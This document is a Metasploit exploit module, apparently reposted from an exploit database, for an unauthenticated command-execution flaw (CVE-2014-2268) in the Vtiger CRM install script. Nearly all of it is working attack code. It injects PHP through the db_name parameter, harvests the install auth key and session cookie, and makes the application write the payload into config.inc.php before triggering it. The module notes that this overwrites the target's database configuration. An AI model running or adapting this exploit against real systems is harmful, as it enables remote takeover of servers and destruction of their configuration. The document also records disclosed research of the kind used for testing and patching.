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# Vtiger Install Unauthenticated Remote Command Execution

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

# Application database configuration is overwritten
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Vtiger Install Unauthenticated Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
Vtiger install script. This module is set to ManualRanking due to this
module overwriting the target database configuration, which may result in
a broken web app, and you may not be able to get a session again.
},
'Author' =>
[
'Jonathan Borgeaud < research[at]navixia.com >' # Navixia Research Team
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-2268' ],
[ 'URL',
'https://www.navixia.com/blog/entry/navixia-find-critical-vulnerabilities-in-vtiger-crm-cve-2014-2268-cve-2014-2269.html
'],
[ 'URL',
'http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt978
6.html'],

],
'Privileged' => false,
'Platform' => ['php'],
'Payload' =>
{
'Space' => 4000,
'BadChars' => "#",
'DisableNops' => true,
'Keys' => ['php']
},
'Arch' => ARCH_PHP,
'Targets' => [[ 'Vtiger 6.0.0 or older', { }]],
'DisclosureDate' => 'Mar 5 2014',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to Vtiger', '/'])
], self.class)
end

def exploit
print_status("Injecting payload...")
rand_arg = Rex::Text.rand_text_hex(10)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {'X-Requested-With' => rand_text_alpha(5)},
'vars_get' => {
'module' => 'Install',
'view' => 'Index',
'mode' => 'Step5',
'db_name' => "127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // "
}})

# Check timeout
if not res
print_error("Request timed out, please try again")
return
end

if res.body =~ /name="auth_key"\s+value=".*?((?:[a-z0-9]*))"/i
authkey = $1
phpsessid = res.get_cookies

if authkey.blank?
print_error("No AuthKey found")
return
elsif phpsessid.blank?
print_error("No PHP Session ID found")
return
end

print_status("Retrieved Authkey : #{authkey}")
print_status("Retrieved PHPSESSID : #{phpsessid}")

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'headers' => {'X-Requested-With' => rand_text_alpha(5)},
'cookie' => phpsessid,
'vars_get' =>
{
'module' => 'Install',
'view' => 'Index',
'mode' => 'Step7',
'auth_key' => authkey
}
})

print_status("Executing payload...")
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'config.inc.php'),
'vars_get' => { rand_arg => '1' }
})
else
print_error("No auth_key pattern found")
end
end
end

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# Iranian Exploit DataBase = http://IeDb.Ir [2014-04-14]

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